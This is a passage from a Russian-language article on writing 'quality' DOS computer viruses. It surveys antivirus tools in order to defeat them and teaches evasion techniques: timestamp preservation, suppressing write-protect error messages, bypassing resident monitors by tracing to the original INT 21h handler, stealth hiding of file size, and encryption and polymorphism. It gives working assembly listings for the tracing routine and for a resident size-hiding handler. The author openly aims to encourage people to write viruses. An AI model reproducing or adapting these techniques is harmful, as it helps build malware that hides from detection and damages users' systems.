    Н.Безруков [8]:    "...мрачный   характер   противостояния
пользователей   группе    безответственных    или    уголовных
элементов...",      "...появление      новой     разновидности
уголовников...".

    В. Фигурнов [6]:  "некоторые авторы таких программ создали
их... из ненависти ко всему роду человеческому."

    Е. Касперский  [4]:  "...основную  массу  вирусов  создают
люди,  которые...  хотят попробовать свои силы,  но  не  могут
найти для них более достойного применения."

    Короче, не  сиди  такой  за  компьютером,  так пошел бы на
большую  дорогу  с  кистенем.  Но  соответствуют  ли  подобные
представления истине ? Автор смеет утверждать, что - нет.
    По мнению  автора  большую  часть  серьезных   вирусов   (
"студенческие"  не  в  счет,  их  пишут  "студенты"  ) создают
программисты,  пытающиеся  таким  образом  удовлетворить  свое
ПРОФЕССИОНАЛЬНОЕ ЧЕСТОЛЮБИЕ.  И используют они такой несколько
экстравагантный способ потому,  что других возможностей - увы!
- не имеют.  Хороших программистов у нас больше, чем достойной
их работы.
    К сожалению,   существует  также  тенденция  удовлетворять
посредством написания вирусов не  ПРОФЕССИОНАЛЬНОЕ ЧЕСТОЛЮБИЕ,
а  ПАТАЛОГИЧЕСКОЕ  САМОЛЮБИЕ.  В результате появляются вирусы,
содержащие троянские  фрагменты,  которые  стирают  программы,
форматируют   винчестеры   и   пр.   Если   бы  Герострат  был
программистом, он не поджигал бы храмов, а написал бы подобный
вирус.
    Итак, не дешевая слава нужна вирусописателю, а уверенность
в  своих  силах и способностях,  возможность доказать (хотя бы
самому себе), что ты не хуже других, что достоин большего, чем
клепать на PARADOX-е очередную (никому не нужную) "зарплату" и
в  тысячный  раз  объяснять  туповатой  тетке  разницу   между
клавишами ENTER и ESCAPE.
    Но при этом важно  написать  не  просто  вирус,  а  вирус,
который и есть "не хуже других",  т.е.  КАЧЕСТВЕННЫЙ вирус.  А
качество  вируса  (  как  автор  его  понимает  )  -  это  его
жизнестойкость, способность существовать максимально долго.
    Качественный вирус - это вирус, который трудно обнаружить,
а  если  обнаружили,  то  трудно  от  него избавиться,  а если
избавились, то трудно о нем забыть.
    Вот чего ради можно и нужно писать вирусы.

               4.3. Обзор антивирусных средств

    Современные антивирусные    средства   предназначены   для
обнаружения и избавления от ПОЧТИ  любого  вируса.  Рассмотрим
подробнее, что они из себя представляют.
    Согласно классификации  Д.  Мостового  [20]   антивирусные
средства делятся на:
    - детекторы-фаги;
    - сторожа;
    - ревизоры.

    Детекторы-фаги. Эти антивирусные  программы  предназначены
для   обнаружения  и  "лечения"  известных  на  данный  момент
вирусов.  Как  правило,  детекторы  определяют   по   каким-то
признакам  наличие  вируса  в  файле или загрузочном секторе (
детектируют ) и в меру  возможностей  нейтрализуют  его.  Чаще
всего   детектирование   основано   на  сравнении  сигнатур  -
последовательностей байтов,  характерных для  того  или  иного
вируса [19].
    Ярким представителем программ  подобного  класса  является
AIDSTEST Д.Н. Лозинского.
    Известен антивирусный комплект фирмы McAffee.  Он  состоит
из  двух  программ  -  детектирующей SCAN и лечащей CLEAN.  Он
достаточно хорошо "знаком" только с "импортными" вирусами.
    Некоторое время   назад  на  отечественном  рынке  активно
рекламировался   антивирус   AVSP.   Этот   пакет    позволяет
автоматизировать   процесс  детектирования  и  лечения.  Любой
пользователь   ,   столкнувшись   с   новым   вирусом,   может
сгенерировать  антивирус  к  нему,  описав  сигнатуру вируса и
формальные правила лечения на специализированном языке.
    Основным недостатком подобных антивирусных систем является
необходимость  их   постоянного   сопровождения   со   стороны
разработчика,  т.е.  обновления  и  расширения в связи с вновь
появляющимися  вирусами.  Пока  с  данной  проблемой   кое-как
справляется  только Д.Н.  Лозинский - на протяжении 4-х лет он
беспрестанно совершенствует свой AIDSTEST.  В настоящее  время
новые версии его продукта появляются 4 раза в месяц.
    Другим узким местом  можно  считать  ориентированность  на
постоянство характеристик вирусов, на неизменяемость сигнатур.
Между тем существуют ( и об этом пойдет далее речь  )  вирусы,
вообще не имеющие сигнатуры.

    Сторожа. Как правило, это резидентные программы, постоянно
находящиеся в памяти,  отслеживающие и блокирующие характерные
для вирусов операции.  Например,  оба файловых вируса,  тексты
которых были приведены ранее,  открывают программные файлы  на
запись/чтение,  активно  перемещают файловые указатели,  пишут
свой  код  в  конец  файлов  и  т.п.  Все  это  может  служить
резидентному сторожу свидетельством о деятельности вируса.
    Среди подобных программ можно отметить классический сторож
ANTI4US, -D Е. Касперского и пр.
    Основным недостатком  подобных  антивирусов  является   их
излишняя "подозрительность", приводящая нередко к блокированию
не деятельности вируса, а нормальной работы пользователя.
    Кроме того,   существует  возможность  со  стороны  вируса
обращаться напрямую к  ресурсам  операционной  системы  (  см.
далее ), что оставляет антивирусный сторож не у дел.
    Совершенствование принципов  и   алгоритмов   антивирусных
сторожей постоянно продолжается [14,15], но, по мнению автора,
панацеей от компьютерных вирусов сторожа никогда не станут.

    Ревизоры. Эти   программы   следят   за   постоянством   и
неизменяемостью  элементов программного обеспечения,  наиболее
часто  подвергающихся  воздействию   вирусов   -   загрузочных
секторов, программных файлов, системных таблиц и т.п. Способны
такие антивирусы,  как правило,  и восстанавливать их  прежнее
значение в случае обнаружения факта изменения.
    Например, для COM-файлов достаточно хранить  информацию  о
длине  файла  и  состоянии начальных байтов программного кода.
Обнаружив,  что длина файла увеличилась,  а первые  три  байта
изменились, программа-ревизор сделает вывод о наличии вируса и
может, не вникая в его устройство, восстановить файл в прежнем
виде,   тем   самым   уничтожив   вирус.   Наиболее   известен
антивирусный ревизор ADINF Д. Мостового.
    Но такие  антивирусы  требуют  постоянного  контроля за их
работой со стороны пользователя,  а, значит, и его достаточной
квалификации.
    К тому  же,  если  на  компьютере   антивирусный   ревизор
появляется  ПОСЛЕ  вируса,  то  он  никогда не обнаружит факта
нового заражения, ибо оно УЖЕ СОСТОЯЛОСЬ.

    Итак, любое антивирусное средство имеет свои  узкие места.
Современный   вирус  должен  уметь  пользоваться  недостатками
антивируса.

            4.4. Написание "качественных" вирусов

    Мы определили   качественный   вирус,   как    максимально
неуловимый  и  неизлечимый.  Для  написания  подобных  вирусов
разработан ряд приемов, которые мы и рассмотрим далее.

        4.4.1. Сохранение даты/времени доступа к файлу

    Операционная система   хранит   о   каждом   файле    блок
информации,  содержащий данные об имени файла,  местоположении
на диске,  дате и времени создания и пр. Дата и время создания
файла автоматически обновляются каждый раз,  когда в этот файл
происходила запись.  При помощи программ типа NORTON COMMANDER
всегда можно проконтролировать дату и время последнего доступа
к файлу,  поэтому  грамотно  написанный  вирус  не  должен  их
изменять.
    Функция 57h прерывания 21h позволяет получать или изменять
для данного файла его дату и время:

57h - Получить/учтановить дату/время файла
      Вызов:                               Ответ:
        AH:=57h
        AL:=код команды
            0 - получить  дату/время
            1 - установить дату/время
        BX:=<хедер ранее открытого файла>
        СX:=время ( при установке ) СХ=время  DX:=дата  (  при
        установке ) DX=дата

    При этом  используется  следующий  формат кодировки даты и
времени:

        Дата (DX) +----год------+-месяц-+-день--+ Биты F E D C
        B A 9 8 7 6 5 4 3 2 1 0 Время (CX) +---часы--+--минуты
        ---+секунды+

    В этом  формате  могут  быть  представлены  только  четные
значения секунд 0,2, 4 и т.д. Год отсчитывается от 1980 г.
    Перед операциями  с   заражаемым   файлом   вирус   должен
сохранить  в каких-нибудь переменных старые значения времени и
даты, а после - восстановить их прежнее значение.

             4.4.2. Обработка критических ошибок

    В процессе работы программ иногда возникают так называемые
"критические ошибки".  Характерным примером такого рода ошибок
является ситуация,  возникающая при попытке записать  что-либо
на  защищенную  от  записи  ("заклееннную") дискету.  В момент
наступления  критических   ошибок   автоматически   вызывается
прерывание с номером 24h.
    Стандартная процедура обработки этого  прерывания  выводит
на экран сообщение:

             Write protect error writing drive A:
             Abort, Retry, Fail ?

    Программа NORTON   COMMANDER   содержит   свою   процедуру
обработки  критических  ошибок,  изображающую  красную рамку с
текстом:
          Attempt to write on write protected drive

    Нет нужды доказывать, что неожиданно возникающее на экране
сообщение подобного рода служит  наблюдательному  пользователю
свидетельством работы вируса,  пытающегося заразить программу,
находящуюся на "заклеенной" дискете.
    "Качественный" вирус   должен   перед  попыткой  заражения
нового файла установить  для  прерывания  24h  свою  процедуру
обработки , состоящую из двух команд:

                           MOV AL,3
                           IRET

    В случае попытки записи на  "заклеенную"  дискету  функция
записи  40h прерывания 21h просто завершится с установленным в
1 битом CARRY регистра  флагов.  Вирус  должен  контролировать
этот  бит  флага  и  отказаться от дальнейших попыток заразить
файл в случае, если бит окажется установленным в 1.
    Разумеется, в   конце  работы  вирусного  кода  необходимо
восстановить прежнее значение вектора прерывания 24h.

        4.4.3. Прямой доступ к обработчику функций DOS

    Как правило,  большинство резидентных программ типа NORTON
COMMANDER,  драйверов экрана и клавиатуры и пр.  содержат свои
собственные процедуры обработки прерывания 21h. При выполнении
команды

                           INT 21h

    управление передается  не  на оригинальную,  принадлежащую
DOS,  процедуру обработки прерывания 21h,  а  на  какой-нибудь
локальный обработчик,  который выполняет определенные действия
и передает управление следующему обработчику, тот - следующему
и   так   далее,  пока  очередь  не  дойдет  до  оригинального
обработчика DOS. Один из этих промежуточных обработчиков может
принадлежать   антивирусному   сторожу,   который   немедленно
поднимет тревогу при выполнении "странных" с его  точки зрения
обращений к прерыванию 21h.
    Можно пропустить всю  цепочку  обработчиков  прерываний  и
обратиться  сразу  к  оригинальной  процедуре,  если  знать ее
истинный  адрес   и   воспользоваться   вместо   команды   INT
последовательностью:

                    PUSHF
                    CALL DWORD PTR ADRES21

    , где метке ADRES21 соответствует двойное слово,  содержа-
щее полный  сегментный  адрес  (  в формате СЕГМЕНТ:СМЕЩЕНИЕ )
оригинального обработчика.  При таком обращении к функциям DOS
резидентный   антивирусный   сторож,   внедренный   в  цепочку
обработчиков  прерываний,  не  сможет  отслеживать   "опасные"
операции:

          Вариант с INT 21h   Вариант с CALL ADRES21
              +------+             +------+
              |Вирус +-+           |Вирус +-+
              +------+ |           +------+ |
              +------+ |           +------+ |
            +-+Сторож|<+           |Сторож| |
            | +------+             +------+ |
            | +------+             +------+ |
            +>| DOS  |             | DOS  |<+
              +------+             +------+

    Остается решить  проблему  нахождения  этого   "истинного"
адреса обработчика DOS.

    1) Метод постоянных адресов. Основан на том факте, что для
данной  версии  операционной   системы   адрес   оригинального
обработчика есть величина постоянная.  Например, известно, что
для MSDOS v5.0 с установленным драйвером HIMEM.SYS  этот адрес
всегда   равен   123h:109h.   Вирус  при  помощи  функции  30h
прерывания 21h может узнать номер версии  операционной системы
(  в  регистре AH возвращается версия,  в AL - подверсия) и по
заранее составленной таблице выбрать нужный адрес.
    Но при  появлении новых версий DOS,  неизвестных на момент
написания вируса, метод перестает работать.

    2) Метод трассировки  [16].  Основан  на  том  факте,  что
оригинальный  обработчик  прерывания DOS всегда расположен "на
дне"  оперативной  памяти,  т.е.  его  сегментный   адрес   не
превышает  200h,  даже  в  том  случае,  когда  большая  часть
операционной системы оасполагается в расширенной памяти.
    Если установить   в   1   бит  TRAP  регистра  флагов,  то
микропроцессор  перейдет   в   режим   пошагового   выполнения
программ, т.е. после выполения КАЖДОЙ команды будет вызываться
прерывание  1h.  А  это  означает,  что  в  момент   инициации
прерывания  в стеке сохраняется адрес точки,  в которой та или
иная программа была прервана.  Можно написать такой обработчик
прерывания   1h,   что   он  будет  каждый  раз  анализировать
содержиимое  стека  и  остановит  процесс  трассировки,  когда
очередное  прерывание  "застигнет" обработчик прерывания 21h в
момент прохождения по нижним областям оперативной памяти.
    Приведем пример    простой   программы,   определяющей   и
распечатывающей   адрес   оригинальной   процедуры   обработки
прерывания  21h  методом  трассировки.  Похожий фрагмент может
быть включен в тело вируса.

; Определение реального адреса
; обработчика прерывания 21H
CSEG   SEGMENT
       ASSUME    CS:CSEG,DS:CSEG,SS:CSEG
       ORG       100h
START:
; Установливаем свой обработчик 1-го прерывания
       MOV       AX,2501H
       MOV       DX,OFFSET INT01
       INT       21H
; Установливаем ES на сегмент векторов прерываний
       SUB       AX,AX
       MOV       ES,AX
; Установливаем бит ТRACE регистра флагов в 1
       PUSHF
       POP       AX
       OR        AX,100H
       PUSH      AX
       POPF
; Обращаемся к верхнему в цепочке обработчику
; Номер функции значения не имеет
       JMP       ES:DWORD PTR [21H*4]
; Сюда вернется управление после успешного
; обнаружения адреса оригинального обработчика
NEXT:
; Восстановливаем сегментные регистры
       PUSH      CS
       POP       DS
       PUSH      CS
       POP       ES
; Извлекаем из стека смещение
       POP       OFF21
; Извлекаем из стека сегмент
       POP       SEG21
; Печатаем сегмент
       MOV       AX,SEG21
       CALL      PRNUM
; Печатаем двоеточие
       MOV       AL,':'
       INT       29H
; Печатаем смещение
       MOV       AX,OFF21
       CALL      PRNUM
; На всякий случай извлекаем из стека флаги
       POP       AX
; Демонстрируем, что найденный адрес -
; действительно адрес оригинального
; обработчика прерывания 21h, вызывая
; функцию 4Сh без использования команды INT.
       MOV       AH,4Ch
       PUSHF
       CALL      DWORD PTR OFF21
; Это обработчик прерывания 21h
; Он сканирует адреса в стеке
INT01:
       MOV       BP,SP
; В стеке по адресу SS:[SP+2] - сегмент
       CMP       WORD PTR [BP+2],200h
       JBE       NEXT
       IRET
; Это процедура печати значения
; регистра AX
PRNUM  PROC      NEAR
       MOV       CX,4
       MOV       SI,OFFSET TXTN
LOOPP:
       MOV       BX,16
       SUB       DX,DX
       DIV       BX
       CMP       DL,10
       JAE       HEX
DECIM:
       ADD       DL,'0'
       JMP       SHORT INSERT
HEX:
       ADD       DL,'A'-10
INSERT:
       MOV       BYTE PTR [SI],DL
       DEC       SI
       LOOP      LOOPP
       MOV       AH,9
       LEA       DX,MESS
       INT       21H
       RET
       PRINUM    ENDP
;
MESS   DB        0,0,0
TXTN   DB        0,' $'
;
OFF21  DW        0
SEG21  DW        0
;
CSEG   ENDS

    Недостатком подобного метода является  то,  что  некоторые
"хитрые"  антивирусные  строжа  способны  блокировать  процесс
трассировки [14,15].  Тем не  менее,  он  часто  и  достаточно
успешно применяется при написании вирусов [4].

                   4.4.4. Вирусы-невидимки

    Наличие вируса   в   компьютере  можно  достаточно  просто
распознать не только по изменению даты зараженных файлов, но и
по увеличению их размера.
    Практически все  программы (в том числе и NORTON COMMANDER
) для определения размера файла  пользуются  функциями  поиска
4h и 4Fh прерывания 21h (см.  п.  3.4.5). Так как эти програмы
обращаются  к DOS не напрямую ( как это делали мы ранее ),  то
существует  возможность  встроить   в   цепочку   обработчиков
прерывания свою процедуру, которая будет выполнять маскирующие
действия ( например,  для всех зараженных файлов уменьшать  их
длину на размер вирусного кода).
    Приведем простой пример резидентной  программы, обнуляющей
информацию о длине файлов:

; Программа, подставляющая нулевую длину
; для всех файлов в каталоге
CSEG SEGMENT
     ASSUME  CS:CSEG,DS:CSEG,SS:CSEG
     ORG     100h
;
START:
       JMP   INSTALL
;
INT21:
; Это функция "найти 1-й файл" ?
       CMP    AH,4Eh
       JZ     OBMAN
; Это функция "найти следующий файл" ?
       CMP    AH,4Fh
       JZ     OBMAN
; Переход на стандартный обработчик
       DB     0EAh
O21    DW     0
S21    DW     0
; В этой ветви мы слегка скорректируем
; стандартный обработчик функций 4Eh и 4Fh
OBMAN:
; Определяем текущий адрес DTA
       PUSH   ES
       PUSH   AX
       PUSH   BX
       MOV    AH,2Fh
       PUSHF
       CALL   CS:DWORD PTR O21
; Сохраняем адрес DTA
       MOV    CS:ODTA,BX
       MOV    CS:SDTA,ES
       POP    BX
       POP    AX
       POP    ES
; Вызываем функции поиска файлов
       PUSHF
       CALL   CS:DWORD PTR O21
       PUSH   ES
       PUSH   BX
; Корректируем в DTA длину, обманывая
; всех, обратившихся к функциям 4Eh и 4Fh
; через INT 21h
       MOV    BX,CS:ODTA
       MOV    ES,CS:SDTA
       MOV    ES:WORD PTR [BX+1Ah],0
       MOV    ES:WORD PTR [BX+1Ch],0
       POP    BX
       POP    ES
; Вовращаемся из обработчика, сохраняя флаги
       RETF   2
; Здесь будем хранить адрес DTA
ODTA   DW     0
SDTA   DW     0
; Эта ветвь устанавливает наш
; резидентный обработчик
; прерывания 21h
INSTALL:
       MOV    AX,3521h
       INT    21h
       MOV    O21,BX
       MOV    S21,ES
       MOV    AX,2521h
       MOV    DX,OFFSET INT21
       INT    21h
       MOV    DX,OFFSET INSTALL
       INT    27h
CSEG   ENDS

    Возможен более сложный ( и интересный ) случай,  когда при
помощи "корректировки" некоторых функций DOS вообще скрывается
факт присутствия вируса на компьютере.  Например,  вирус может
самостоятельно обрабатывать функции 3Dh ( открыть файл)  и  3h
(закрыть  файл).  При  попытке  какой-либо  программы  открыть
зараженный файл, резидентный вирус удаляет свой код из него, а
при закрытии - вновь заражает жертву.
    Вирусы, использующие    подобную    технику    маскировки,
называются  вирусами-невидимками  или stealth-вирусами.  Ярким
предстывителем  класса  stealth  является  вирус  V-4096.   Он
самостоятельно обрабатывает 20 разнообразных функций DOS.
    К сожалению,  многие антивирусы  умеют  обращаться  к  DOS
напрямую,  минуя  цепочку  обработчиков  и  легко обнаруживают
такие  вирусы.  Тем  не  менее,  вполне  можно   рекомендовать
использование    stealth-технологии   с   целью   введения   в
заблуждение неискушенного пользователя.

          4.4.5. Зашифрованные и полиморфные вирусы

    Для затруднения  изучения  алгоритма  вируса  со   стороны
постороннего  человека  (автора антивируса) часто используется
прием  шифровки  кода.  При  использовании   дизассемблирующей
программы  (  типа  SOURCER ) исследователь не сможет получить
адекватного листинга:

DATA_2E       EQU       0E3A6H

SEG_A         SEGMENT   BYTE PUBLIC
              ASSUME    CS:SEG_A, DS:SEG_A
              ORG       100h
;
SHIFR         PROC      FAR

START:
              MOV       SI,112H
              MOV       DI,112H
              MOV       CX,10H
; Цикл расшифровки, вычитающий из каждого
; байта 1
LOCLOOP_1:
              LODSB
              DEC       AL
              STOSB
              LOOP      LOCLOOP_1
              JMP       SHORT CRYPT
              NOP
; Отсюда начинается неверная интерпретация кода
CRYPT:
              MOV       BX,21BH
              MOV       CH,0AH
              INTO
              AND       AL,AH
              NOP
              LOOPZ     $-55H
              MOV       DS:DATA_2E,AX
              AND       AH,[DI]
;
SHIFR         ENDP
SEG_A         ENDS
              END       START

    Если оттранслировать и скомпоновать эту программу,  то она
после  запуска  выведет на экран сообщение "Привет!",  но этот
факт невозможно  установить,  изучая  вышеприведенный  листинг
(полученный при помощи программы SOURCER).
    "Изюминкой" данной програмы является фрагмент расшифровки,
прибавляющий к каждому байту программы,  начиная с адреса 112h
( команда MOV BX,21BH ) число 1.
    Чрезвычайно усилить  эффект кодирования позволяет техника,
предусматривающая     постоянное      изменение      алгоритма
шифровки/дешифровки.
    Так, например,    можно     использовать     не     только
прибавление/вычитание  единицы,  но  и  других чисел;  а также
операции умножения/деления,  логические операции над байтами и
пр.  Сама  реализация  дешифрующего фрагмента также может быть
различной.  Меняя  регистры  для  хранения  служебных  данных,
способы  записи  арифметических и логически операций,  способы
организации  цикла  и  пр.  можно  получить   сколько   угодно
различных  вариантов,  исполняющих  один  и  тот  же  алгоритм
расшифровки:

:Вариант 1                       :Вариант 2

    ????

    Можно заранее   хранить   в   теле  вируса  заготовки  для
вариантов расшифровщиков, а можно и генерировать их каждый раз
случайным образом.
    Используя подобный  прием,   возможно   добиться   полного
различия  любых двух двух копий одного и того же вируса. Такие
вирусы   носят   наименование    полиморфных    вирусов    или
вирусов-призраков.
    В современных полиморфных вирусах используются чрезвычайно
сложные  алгоритмы генерации шифрующих/дешифрующих фрагментов.
Например,  случайным  образом  генерирующийся  расшифровщик  в
вирусе  Pogue имеет переменную длину от нескольких десятков до
нескольких   сотен   команд,   может   содержать   почти   все
используемые   микропроцессором  команды  со  всеми  способами
адресации.  Не отстает от него  и  вирус  Mutant1,  достаточно
известный  в  нашей  стране  благодаря  оригинальному  способу
распространения - внутри "взломанного" антивируса AIDSTESТ.
    Вирусы-призраки не  имеют  постоянной  сигнатуры,  а   это
означает,  что  традиционные  антивирусы (например,  AIDSTEST)
ПРИНЦИПИАЛЬНО НЕ СПОСОБНЫ распознавать их и лечить.
    В последнее    время    авторами    антивирусов    активно
разрабатываются  новые  алгоритмы  для обнаружения полиморфных
вирусов,  но,  как мне кажется,  до полного  и  окончательного
решения проблемы еще далеко. И это радует !

               4.4.6. О "троянских" фрагментах

    Многие существующие   вирусы   содержат   так   называемые
"троянские"  фрагменты,   т.е.   участки   кода,   выполняющие
несанкционированные действия.  Они играют мелодии,  выводят на
экран тексты ("использованные презервативы плывут  неспешно по
Москва-реке..."  -  вирус Ballad-1581 ) и изображения,  портят
информацию на дисках и пр.,  пытаясь таким образом привлечь  к
себе внимание "невнимательного" пользователя.
    С точки зрения автора эти и  подобные  им  действия  носят
демаскирующий   характер,   противоречат   целям   и  задачам,
поставленным перед "качественным" вирусом,  и  не  могут  быть
рекомендованы к реализации.

              4.5. "Моральный кодекс" технокрысы

                           < ... >

                          Заключение

    В данной  статье  автор  лишь  вкратце  коснулся  проблемы
написания     "качественных"     вирусов.     Упомянуты      и
проиллюстрированы  на  примерах  лишь  самые  простые  идеи  и
алгоритмы, используемые при их создании.
    Автор никоим образом не старался повторить трагикомическую
судьбу П.Л.  Хижняка [18],  выпустившего в свет свою  странную
книжку, а вместе с ней - целый сонм "малокачественных" вирусов
семейства Khiznyak.  Трагедия его в амбивалентной позиции - "с
одной  стороны учу писать вирусы,  с другой стороны - не хочу,
чтобы Вы их писали, поэтому учу плохо".
    Цель же   автора  данной  статьи  -  пробудить  интерес  к
созданию вирусов,  подвигнуть к дальнейшему совершенствованию,
что  (как автор надеется ) предотвратит со стороны начинающего
вирусописателя  как  случайные  ошибки,  так  и  злонамеренные
действия,  способные  привести  к  моральному  и материальному
ущербу для окружающих. Конечно, с этой позицией можно спорить.
Спорьте,  пожалуйста,  господа хорошие, только не забрасывайте
ее сторонников тухлыми яйцами и гнилыми фруктами.
    Отвечая на неизбежные подозрения,  автор заявляет, что сам
он  вирусы  пишет,  но  НЕ  РАСПРОСТРАНЯЕТ,  и  делать  это  в
дальнейшем НЕ СОБИРАЕТСЯ.  Статья же эта родилась, как попытка
реализовать  свое  ТВОРЧЕСКОЕ  ЧЕТОЛЮБИЕ  еще  одним,   совсем
нетрадиционным способом.
    За что же его (меня) ругать ?

                          Литература

    1. Дао Л.  Программирование микропроцессора 8088:  Пер.  с
англ.-М.: Мир, 1988 г.
    2. Чижов  А.А.  Системные   программные   средства   ПЭВМ:
Справочник.-М.: Финансы и статистика, СП Параграф, 1990 г.
    3. Данкан Р.  Профессиональная работа в  MS  DOS:  Пер.  с
англ.-М.: Мир, 1993 г.
    4. Касперский  Е.  Компьютерные  вирусы  в  MS  DOS.-  М.:
Издательство "Эдель", 1992 г.
    5. Джордейн  Р.   Справочник   программиста   персональных
компьютеров  типа  IBM PC AT и XT.  /М.Ж Финансы и статистика,
1992 г.
    6. Фигурнов В.  Э.  IBM PC для пользователя.-М.: Финансы и
статистика, 1991 г.
    7. Фаронов    В.    В.    Основы   Турбо   Паскаля.   -М.:
Учебно-инженерный центр "МВТУ-Фесто Дидактик", 1992.
    8. Безруков Н.Н. Компьютерные вирусы.- М.: Наука, 1991.
    9. Миры Гарри Гаррисона кн.  1:  Пер. с англ.-Р.: Полярис,
1991 г.
    10. Гилберт К.  Честертон.  Мудрость отца Брауна:  Пер.  с
англ.- Кишинев, "Лумина", 1987 г.
    11. Биленкин Д.  Философия имени.  В кн.: Лицо в толпе.-М:
Молодая Гвардия, 1985.
    12. Бранденбург Б. Откуда берутся вирусы. // Мир ПК, N6 за
1992 г.
    13. Водолазкий В.  Бутовые вирусы на марше. // Монитор, N1
за 1992 г.
    14. Косивцов Ю. Конструирование антивирусного "сторожа". /
/ Монитор, N2 за 1994 г.
    15. Косивцов Ю.  Двухкомпонентная антивирусная система. //
Монитор, N3 за 1993 г.
    16. Рабец В.  Работа с DOS и BIOS в обход  прерываний.  //
Монитор, NN6-7 за 1992 г.
    17. Размышления технокрысы, или как написать вирус и стоит
ли этим заниматься. // Монитор , N2 за 1992 г.
    18. Водолазкий В.  Снова о вирусах - неформальная рецензия
на брошюру П.Л.  Хижняка "Пишем вирус и антивирус". // Монитор
N2 за 1992 г.
    19. Зегжда  Д.  Векторно-операторная  модель  компьютерных
вирусов. // Компьютер Пресс, N10 за 1993 г.
    20. Мостовой  Д.  Современные  антивирусные  средства.  //
Компьютер Пресс, N10 за 1993 г.
    21. Безруков   Н.   Н.  Методика  защиты  от  компьютерных
вирусов,  отвечающая принципу разумной достаточности.  // Софт
Ревю, N2 за 1993 г.



(C) NF, 1998-2004